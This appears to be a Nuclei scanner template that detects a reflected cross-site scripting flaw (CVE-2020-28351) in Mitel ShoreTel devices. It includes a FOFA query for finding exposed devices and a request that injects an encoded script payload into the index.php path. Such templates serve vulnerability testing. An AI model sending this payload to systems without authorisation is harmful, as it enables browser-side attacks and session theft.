id: CVE-2020-28351

info:
  name: Mitel ShoreTel 19.46.1802.0 Devices - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: |
    Mitel ShoreTel 19.46.1802.0 devices and their conference component are vulnerable to an unauthenticated attacker conducting reflected cross-site scripting attacks via the PATH_INFO variable to index.php due to insufficient validation for the time_zone object in the HOME_MEETING& page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary scripts in the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by Mitel to mitigate the XSS vulnerability.
  reference:
    - https://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://www.mitel.com/articles/what-happened-shoretel-products
    - https://nvd.nist.gov/vuln/detail/CVE-2020-28351
    - http://packetstormsecurity.com/files/159987/ShoreTel-Conferencing-19.46.1802.0-Cross-Site-Scripting.html
    - https://github.com/dievus/cve-2020-28351
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-28351
    cwe-id: CWE-79
    epss-score: 0.00359
    epss-percentile: 0.72145
    cpe: cpe:2.3:h:mitel:shoretel:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mitel
    product: shoretel
    fofa-query: body="ShoreTel" && icon_hash="268280373"
  tags: cve,cve2020,shoretel,xss,mitel

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/server-common/cgi-bin/login"

    stop-at-first-match: true
    redirects: true
    matchers:
      - type: word
        part: body
        words:
          - "Mitel Networks Corporation"
          - "ShoreTel"
        case-insensitive: true
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/index.php/%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E?page=HOME"

    headers:
      Content-Type: application/x-www-form-urlencoded

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502210086431c8fbbfd16e5f5f574e40a47c9a68ac4dcdf731091aff6779530b16f7e60022018c2a081599bad8971b969b5e3eb68d86a6f810e1ea42806f6c1631fe4c77c2a:922c64590222798bb761d5b6d8e72950